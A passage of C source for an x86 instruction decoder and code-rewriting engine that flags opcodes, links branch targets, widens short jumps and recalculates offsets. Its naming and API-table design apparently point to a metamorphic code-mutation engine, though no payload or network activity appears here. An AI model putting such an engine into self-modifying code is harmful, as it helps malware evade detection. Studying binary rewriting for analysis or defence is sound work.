if((pSwitchReferenceInstructionAbstraction->dwExtendedFlags & (X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagBranchUnknown/*|X86InstructionExtendedFlagCallBranch*/)) == (X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagBranchUnknown)) { // Mark all instructions/data between the current instruction and the switch address table for(pTemporaryX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pTemporaryX86InstructionAbstraction != pSwitchTableInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pTemporaryX86InstructionAbstraction=pTemporaryX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { pTemporaryX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagSwitch; } pCurrentRelocationAbstraction->pReferencedSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE; pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagReferencedAddress; pCurrentX86InstructionAbstraction->dwReferencedAddressOffset=4; } } } else if(nAbsoluteAddressInstructionOffset > 0 && nAbsoluteAddressInstructionOffset < (pCurrentX86InstructionAbstraction->dwDataSize == 0 ? pCurrentX86InstructionAbstraction->dwInstructionLength : pCurrentX86InstructionAbstraction->dwDataSize)) { dwDisassemblyStatus=DISASSEMBLY_STATUS_FATAL_ERROR; } } pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation; } } } return pCodeX86InstructionAbstractionTable; } VOID FreeX86CodeAbstractions (PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pCodeAbstractionTable) { PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction, pNextX86InstructionAbstraction; if(pCodeAbstractionTable != NULL) { for(pCurrentX86InstructionAbstraction=pCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pNextX86InstructionAbstraction) { pNextX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pAPITable->GlobalFree(pCurrentX86InstructionAbstraction); } pAPITable->GlobalFree(pCodeAbstractionTable); } return; } BOOL ExtendEtherealX86BranchInstructions (PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable) { PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction, pDestinationX86InstructionAbstraction=NULL; LONG lRelativeDestinationOffset=0; // Extend all 8-bit branches to 32-bit while(pCurrentX86InstructionAbstraction != NULL) { pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree; if(pCurrentX86InstructionAbstraction->dwDataSize == 0) { if(pDestinationX86InstructionAbstraction != NULL) { lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength)); if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8)) { // 8->32-bit opcode and operand if(pCurrentX86InstructionAbstraction->Data[0] >= 0x70 && pCurrentX86InstructionAbstraction->Data[0] <= 0x7F) // Jcc8 { pCurrentX86InstructionAbstraction->Data[1]=(0x80 + (pCurrentX86InstructionAbstraction->Data[0] - 0x70)); // Build new Jcc based on old type pCurrentX86InstructionAbstraction->Data[0]=0x0F; // Add double opcode prefix pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[1]; pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagPrefix0F; pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagConditionalBranch; pCurrentX86InstructionAbstraction->dwNumberOfPrefixes=1; } else if(pCurrentX86InstructionAbstraction->Data[0] == 0xEB) // Jmp8 { pCurrentX86InstructionAbstraction->Data[0]=0xE9; // Jmp32 pCurrentX86InstructionAbstraction->Opcode=0xE9; pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32; pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagUnConditionalBranch; } else if(pCurrentX86InstructionAbstraction->Data[0] == 0xE3) { return FALSE; // Jecxz has no 32bit equivilent } *(PLONG)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0; pCurrentX86InstructionAbstraction->dwInstructionLength=(5 + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes); } } } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } return TRUE; } DWORD IdentifyEtherealX86BranchCorrespondences (PX86_INSTRUCTION_ABSTRACTION pCodeX86InstructionAbstractions) { PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractions, pPotentialDestinationX86InstructionAbstraction=NULL; LONG lNonRelativeBranchDestinationOffset=0; DWORD dwBranchCorrespondenceCount=0; while(pCurrentX86InstructionAbstraction != NULL) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch) && !(pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown)) { lNonRelativeBranchDestinationOffset=(pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength) + pCurrentX86InstructionAbstraction->lBranchDestinationOffset; pPotentialDestinationX86InstructionAbstraction=pCodeX86InstructionAbstractions; while(pPotentialDestinationX86InstructionAbstraction != NULL) { if(pPotentialDestinationX86InstructionAbstraction->dwInstructionOffset == lNonRelativeBranchDestinationOffset) { pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree=pPotentialDestinationX86InstructionAbstraction; pPotentialDestinationX86InstructionAbstraction->pReferencingX86InstructionAbstractionBranch=pCurrentX86InstructionAbstraction; pPotentialDestinationX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagReferencedAddress; dwBranchCorrespondenceCount++; break; } pPotentialDestinationX86InstructionAbstraction=pPotentialDestinationX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } if(pPotentialDestinationX86InstructionAbstraction == NULL) { // } } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } return 0; } VOID ReCalculateX86InstructionOffsets (PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable) { PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction, pDestinationX86InstructionAbstraction; LONG lRelativeDestinationOffset; for(pCodeX86InstructionAbstractionTable->dwNumberOfInstructions=0, pCodeX86InstructionAbstractionTable->dwTotalCodeSize=0; pCurrentX86InstructionAbstraction != NULL; pCodeX86InstructionAbstractionTable->dwNumberOfInstructions++) { pCurrentX86InstructionAbstraction->dwInstructionOffset=pCodeX86InstructionAbstractionTable->dwTotalCodeSize; if(pCurrentX86InstructionAbstraction->dwDataSize == 0) { pCodeX86InstructionAbstractionTable->dwTotalCodeSize += pCurrentX86InstructionAbstraction->dwInstructionLength; } else { pCodeX86InstructionAbstractionTable->dwTotalCodeSize += pCurrentX86InstructionAbstraction->dwDataSize; } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } // Repair branch offsets to reflect new instruction offsets pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction; while(pCurrentX86InstructionAbstraction != NULL) { pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree; if(pCurrentX86InstructionAbstraction->dwDataSize == 0) { if(pDestinationX86InstructionAbstraction != NULL) { lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength)); if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8)) { (CHAR)pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(CHAR)lRelativeDestinationOffset; } else if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch32)) { *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=lRelativeDestinationOffset; } pCurrentX86InstructionAbstraction->lBranchDestinationOffset=lRelativeDestinationOffset; } } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } return; } PX86_INSTRUCTION_ABSTRACTION IdentifyX86Instruction (PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolOffset) { PBYTE pInstructionOffset=(pCodePool + dwCodePoolOffset); PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); if(pCurrentX86InstructionAbstraction == NULL) { // System memory limit is likely to have been exceeded return NULL; } // Identify prefix and opcode bytes for(pCurrentX86InstructionAbstraction->dwNumberOfPrefixes=0;; pCurrentX86InstructionAbstraction->dwNumberOfPrefixes++) { pCurrentX86InstructionAbstraction->Opcode=*pInstructionOffset++; if(pCurrentX86InstructionAbstraction->Opcode == 0x26 || pCurrentX86InstructionAbstraction->Opcode == 0x2E || pCurrentX86InstructionAbstraction->Opcode == 0x36 || pCurrentX86InstructionAbstraction->Opcode == 0x3E || (pCurrentX86InstructionAbstraction->Opcode > 0x63 && pCurrentX86InstructionAbstraction->Opcode < 0x68) || pCurrentX86InstructionAbstraction->Opcode == 0xF0 || pCurrentX86InstructionAbstraction->Opcode == 0xF2 || pCurrentX86InstructionAbstraction->Opcode == 0xF3 || pCurrentX86InstructionAbstraction->Opcode == 0x0F) { // Prefix byte pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix; if(pCurrentX86InstructionAbstraction->Opcode == 0x66) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix66; } else if(pCurrentX86InstructionAbstraction->Opcode == 0x67) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix67; } else if(pCurrentX86InstructionAbstraction->Opcode == 0x0F) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix0F; } } else { break; } } // For efficiency and sometimes necessity, analyze opcode bits pCurrentX86InstructionAbstraction->WBitOpcode=(pCurrentX86InstructionAbstraction->Opcode & 0xFE); pCurrentX86InstructionAbstraction->WBit=(pCurrentX86InstructionAbstraction->Opcode & 0x01); pCurrentX86InstructionAbstraction->DBitOpcode=(pCurrentX86InstructionAbstraction->Opcode & 0xFC); pCurrentX86InstructionAbstraction->DBit=(pCurrentX86InstructionAbstraction->Opcode & 0x02) >> 1; if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { // Set essential 0F extended opcode table instruction attribute flags if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || pCurrentX86InstructionAbstraction->Opcode == 0x10 || pCurrentX86InstructionAbstraction->Opcode == 0x28 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x4E || pCurrentX86InstructionAbstraction->Opcode == 0x6E || pCurrentX86InstructionAbstraction->Opcode == 0x6F || pCurrentX86InstructionAbstraction->Opcode == 0x7E || pCurrentX86InstructionAbstraction->Opcode == 0x7F || (pCurrentX86InstructionAbstraction->Opcode >= 0x90 && pCurrentX86InstructionAbstraction->Opcode <= 0x9F) || (pCurrentX86InstructionAbstraction->Opcode >= 0xA3 && pCurrentX86InstructionAbstraction->Opcode <= 0xA5) || (pCurrentX86InstructionAbstraction->Opcode >= 0xAB && pCurrentX86InstructionAbstraction->Opcode <= 0xB7) || (pCurrentX86InstructionAbstraction->Opcode >= 0xBA && pCurrentX86InstructionAbstraction->Opcode <= 0xC1) || pCurrentX86InstructionAbstraction->Opcode == 0xEF) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM; } if(pCurrentX86InstructionAbstraction->Opcode == 0x04 || pCurrentX86InstructionAbstraction->Opcode == 0x05 || pCurrentX86InstructionAbstraction->Opcode == 0x07 || pCurrentX86InstructionAbstraction->Opcode == 0x0E || pCurrentX86InstructionAbstraction->Opcode == 0x0F || (pCurrentX86InstructionAbstraction->Opcode >= 0x11 && pCurrentX86InstructionAbstraction->Opcode <= 0x27) || (pCurrentX86InstructionAbstraction->Opcode >= 0x29 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x2D && pCurrentX86InstructionAbstraction->Opcode <= 0x4D) || (pCurrentX86InstructionAbstraction->Opcode >= 0x4F && pCurrentX86InstructionAbstraction->Opcode <= 0x6D) || (pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7D) || pCurrentX86InstructionAbstraction->Opcode == 0xA6 || pCurrentX86InstructionAbstraction->Opcode == 0xA7 || pCurrentX86InstructionAbstraction->Opcode == 0xB8 || (pCurrentX86InstructionAbstraction->Opcode >= 0xC2 && pCurrentX86InstructionAbstraction->Opcode <= 0xC7) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xEE) || (pCurrentX86InstructionAbstraction->Opcode >= 0xF0 && pCurrentX86InstructionAbstraction->Opcode <= 0xFF)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagError; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8F)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData66; } if(pCurrentX86InstructionAbstraction->Opcode == 0xA4 || pCurrentX86InstructionAbstraction->Opcode == 0xAC || pCurrentX86InstructionAbstraction->Opcode == 0xBA) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8; } if(pCurrentX86InstructionAbstraction->Opcode == 0xB6 || pCurrentX86InstructionAbstraction->Opcode == 0xB7 || pCurrentX86InstructionAbstraction->Opcode == 0xBE || pCurrentX86InstructionAbstraction->Opcode == 0xBF) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagAddressModeWBit; } if(pCurrentX86InstructionAbstraction->Opcode == 0x10 || pCurrentX86InstructionAbstraction->Opcode == 0x28 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x6E || pCurrentX86InstructionAbstraction->Opcode == 0x6F || pCurrentX86InstructionAbstraction->Opcode == 0x7E || pCurrentX86InstructionAbstraction->Opcode == 0x7F || pCurrentX86InstructionAbstraction->Opcode == 0xEF) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagXMM; } if(pCurrentX86InstructionAbstraction->Opcode == 0x6E || pCurrentX86InstructionAbstraction->Opcode == 0x6F || pCurrentX86InstructionAbstraction->Opcode == 0x7E || pCurrentX86InstructionAbstraction->Opcode == 0x7F) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagEffectiveAddressReversed; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8F)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagConditionalBranch; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x90 && pCurrentX86InstructionAbstraction->Opcode <= 0x9F)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM; } if(pCurrentX86InstructionAbstraction->Opcode == 0xA2) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagIsolatedVerb; } if(pCurrentX86InstructionAbstraction->Opcode == 0xA5) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagInvisibleRegister; } if(pCurrentX86InstructionAbstraction->Opcode == 0xAC) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag2xReg32Constant; } if(pCurrentX86InstructionAbstraction->Opcode == 0xAE) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } if(pCurrentX86InstructionAbstraction->Opcode == 0xB6 || pCurrentX86InstructionAbstraction->Opcode == 0xB7 || pCurrentX86InstructionAbstraction->Opcode == 0xBE || pCurrentX86InstructionAbstraction->Opcode == 0xBF) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagSignExtended|X86InstructionExtendedFlagRegistersReversed; } } else { // Set essential standard opcode table instruction attribute flags if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || (pCurrentX86InstructionAbstraction->Opcode >= 0x08 && pCurrentX86InstructionAbstraction->Opcode <= 0x0B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x10 && pCurrentX86InstructionAbstraction->Opcode <= 0x13) || (pCurrentX86InstructionAbstraction->Opcode >= 0x18 && pCurrentX86InstructionAbstraction->Opcode <= 0x1B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x20 && pCurrentX86InstructionAbstraction->Opcode <= 0x23) || (pCurrentX86InstructionAbstraction->Opcode >= 0x28 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x30 && pCurrentX86InstructionAbstraction->Opcode <= 0x33) || (pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || pCurrentX86InstructionAbstraction->Opcode == 0x63 || pCurrentX86InstructionAbstraction->Opcode == 0x64 || pCurrentX86InstructionAbstraction->Opcode == 0x69 || pCurrentX86InstructionAbstraction->Opcode == 0x6B || (pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8F) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || (pCurrentX86InstructionAbstraction->Opcode >= 0xC4 && pCurrentX86InstructionAbstraction->Opcode <= 0xC7) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD8 && pCurrentX86InstructionAbstraction->Opcode <= 0xDF) || pCurrentX86InstructionAbstraction->Opcode == 0xF6 || pCurrentX86InstructionAbstraction->Opcode == 0xF7 || pCurrentX86InstructionAbstraction->Opcode == 0xFE || pCurrentX86InstructionAbstraction->Opcode == 0xFF) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || (pCurrentX86InstructionAbstraction->Opcode >= 0x08 && pCurrentX86InstructionAbstraction->Opcode <= 0x0B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x10 && pCurrentX86InstructionAbstraction->Opcode <= 0x13) || (pCurrentX86InstructionAbstraction->Opcode >= 0x18 && pCurrentX86InstructionAbstraction->Opcode <= 0x1B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x20 && pCurrentX86InstructionAbstraction->Opcode <= 0x23) || (pCurrentX86InstructionAbstraction->Opcode >= 0x28 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x30 && pCurrentX86InstructionAbstraction->Opcode <= 0x33) || (pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8B) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || pCurrentX86InstructionAbstraction->Opcode == 0xC6 || pCurrentX86InstructionAbstraction->Opcode == 0xC7 || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3) || pCurrentX86InstructionAbstraction->Opcode == 0xF6 || pCurrentX86InstructionAbstraction->Opcode == 0xF7 || pCurrentX86InstructionAbstraction->Opcode == 0xFE || pCurrentX86InstructionAbstraction->Opcode == 0xFF) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagAddressModeWBit; } if(pCurrentX86InstructionAbstraction->Opcode == 0x04 || pCurrentX86InstructionAbstraction->Opcode == 0x05 || pCurrentX86InstructionAbstraction->Opcode == 0x0C || pCurrentX86InstructionAbstraction->Opcode == 0x0D || pCurrentX86InstructionAbstraction->Opcode == 0x14 || pCurrentX86InstructionAbstraction->Opcode == 0x15 || pCurrentX86InstructionAbstraction->Opcode == 0x1C || pCurrentX86InstructionAbstraction->Opcode == 0x1D || pCurrentX86InstructionAbstraction->Opcode == 0x24 || pCurrentX86InstructionAbstraction->Opcode == 0x25 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x2D || pCurrentX86InstructionAbstraction->Opcode == 0x34 || pCurrentX86InstructionAbstraction->Opcode == 0x35 || pCurrentX86InstructionAbstraction->Opcode == 0x3C || pCurrentX86InstructionAbstraction->Opcode == 0x3D || pCurrentX86InstructionAbstraction->Opcode == 0xA8 || pCurrentX86InstructionAbstraction->Opcode == 0xA9) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagDataWBit; } if(pCurrentX86InstructionAbstraction->Opcode == 0x60 || pCurrentX86InstructionAbstraction->Opcode == 0x61 || pCurrentX86InstructionAbstraction->Opcode == 0xA4 || pCurrentX86InstructionAbstraction->Opcode == 0xA5 || (pCurrentX86InstructionAbstraction->Opcode >= 0xAA && pCurrentX86InstructionAbstraction->Opcode <= 0xAF)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagVerbWBit; } if(pCurrentX86InstructionAbstraction->Opcode == 0x68 || pCurrentX86InstructionAbstraction->Opcode == 0x69 || pCurrentX86InstructionAbstraction->Opcode == 0x81 || pCurrentX86InstructionAbstraction->Opcode == 0x9A || (pCurrentX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentX86InstructionAbstraction->Opcode <= 0xBF) || pCurrentX86InstructionAbstraction->Opcode == 0xC7 || (pCurrentX86InstructionAbstraction->Opcode >= 0xE8 && pCurrentX86InstructionAbstraction->Opcode <= 0xEA)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData66; } if(pCurrentX86InstructionAbstraction->Opcode == 0x6A || pCurrentX86InstructionAbstraction->Opcode == 0x6B || (pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7F) || pCurrentX86InstructionAbstraction->Opcode == 0x80 || pCurrentX86InstructionAbstraction->Opcode == 0x82 || pCurrentX86InstructionAbstraction->Opcode == 0x83 || (pCurrentX86InstructionAbstraction->Opcode >= 0xB0 && pCurrentX86InstructionAbstraction->Opcode <= 0xB7) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || pCurrentX86InstructionAbstraction->Opcode == 0xC6 ||pCurrentX86InstructionAbstraction->Opcode == 0xC8 || (pCurrentX86InstructionAbstraction->Opcode >= 0xE0 && pCurrentX86InstructionAbstraction->Opcode <= 0xE7) || pCurrentX86InstructionAbstraction->Opcode == 0xEB) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8; } if(pCurrentX86InstructionAbstraction->Opcode == 0x9A || pCurrentX86InstructionAbstraction->Opcode == 0xEA) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory16; } if((pCurrentX86InstructionAbstraction->Opcode >= 0xA0 && pCurrentX86InstructionAbstraction->Opcode <= 0xA3)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory67; } if((pCurrentX86InstructionAbstraction->Opcode >= 0xB0 && pCurrentX86InstructionAbstraction->Opcode <= 0xBF)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagRegWBit; } if(pCurrentX86InstructionAbstraction->Opcode == 0xC2 || pCurrentX86InstructionAbstraction->Opcode == 0xC8 || pCurrentX86InstructionAbstraction->Opcode == 0xCA) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData16; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || (pCurrentX86InstructionAbstraction->Opcode >= 0x08 && pCurrentX86InstructionAbstraction->Opcode <= 0x0B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x10 && pCurrentX86InstructionAbstraction->Opcode <= 0x13) || (pCurrentX86InstructionAbstraction->Opcode >= 0x18 && pCurrentX86InstructionAbstraction->Opcode <= 0x1B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x20 && pCurrentX86InstructionAbstraction->Opcode <= 0x23) || (pCurrentX86InstructionAbstraction->Opcode >= 0x28 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x30 && pCurrentX86InstructionAbstraction->Opcode <= 0x33) || (pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x83) || (pCurrentX86InstructionAbstraction->Opcode >= 0x88 && pCurrentX86InstructionAbstraction->Opcode <= 0x8C) || pCurrentX86InstructionAbstraction->Opcode == 0x8E || (pCurrentX86InstructionAbstraction->Opcode >= 0xA0 && pCurrentX86InstructionAbstraction->Opcode <= 0xA3) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit; } if(pCurrentX86InstructionAbstraction->Opcode == 0x04 || pCurrentX86InstructionAbstraction->Opcode == 0x05 || pCurrentX86InstructionAbstraction->Opcode == 0x0C || pCurrentX86InstructionAbstraction->Opcode == 0x0D || pCurrentX86InstructionAbstraction->Opcode == 0x14 || pCurrentX86InstructionAbstraction->Opcode == 0x15 || pCurrentX86InstructionAbstraction->Opcode == 0x1C || pCurrentX86InstructionAbstraction->Opcode == 0x1D || pCurrentX86InstructionAbstraction->Opcode == 0x24 || pCurrentX86InstructionAbstraction->Opcode == 0x25 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x2D || pCurrentX86InstructionAbstraction->Opcode == 0x34 || pCurrentX86InstructionAbstraction->Opcode == 0x35 || pCurrentX86InstructionAbstraction->Opcode == 0x3C || pCurrentX86InstructionAbstraction->Opcode == 0x3D || (pCurrentX86InstructionAbstraction->Opcode >= 0x91 && pCurrentX86InstructionAbstraction->Opcode <= 0x97) || (pCurrentX86InstructionAbstraction->Opcode >= 0xA0 && pCurrentX86InstructionAbstraction->Opcode <= 0xA3) || pCurrentX86InstructionAbstraction->Opcode == 0xA8 || pCurrentX86InstructionAbstraction->Opcode == 0xA9) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagAcculmulator; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || pCurrentX86InstructionAbstraction->Opcode == 0x84 || pCurrentX86InstructionAbstraction->Opcode == 0x85) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagNonModifier; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x40 && pCurrentX86InstructionAbstraction->Opcode <= 0x5F)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagRegOpcode; } if(pCurrentX86InstructionAbstraction->Opcode == 0x69 || pCurrentX86InstructionAbstraction->Opcode == 0x6B) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag2xReg32Constant; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7F) || pCurrentX86InstructionAbstraction->Opcode == 0xE3 || pCurrentX86InstructionAbstraction->Opcode == 0xEB) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch8; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7F) || pCurrentX86InstructionAbstraction->Opcode == 0xE3) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagConditionalBranch; } if((pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x83) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 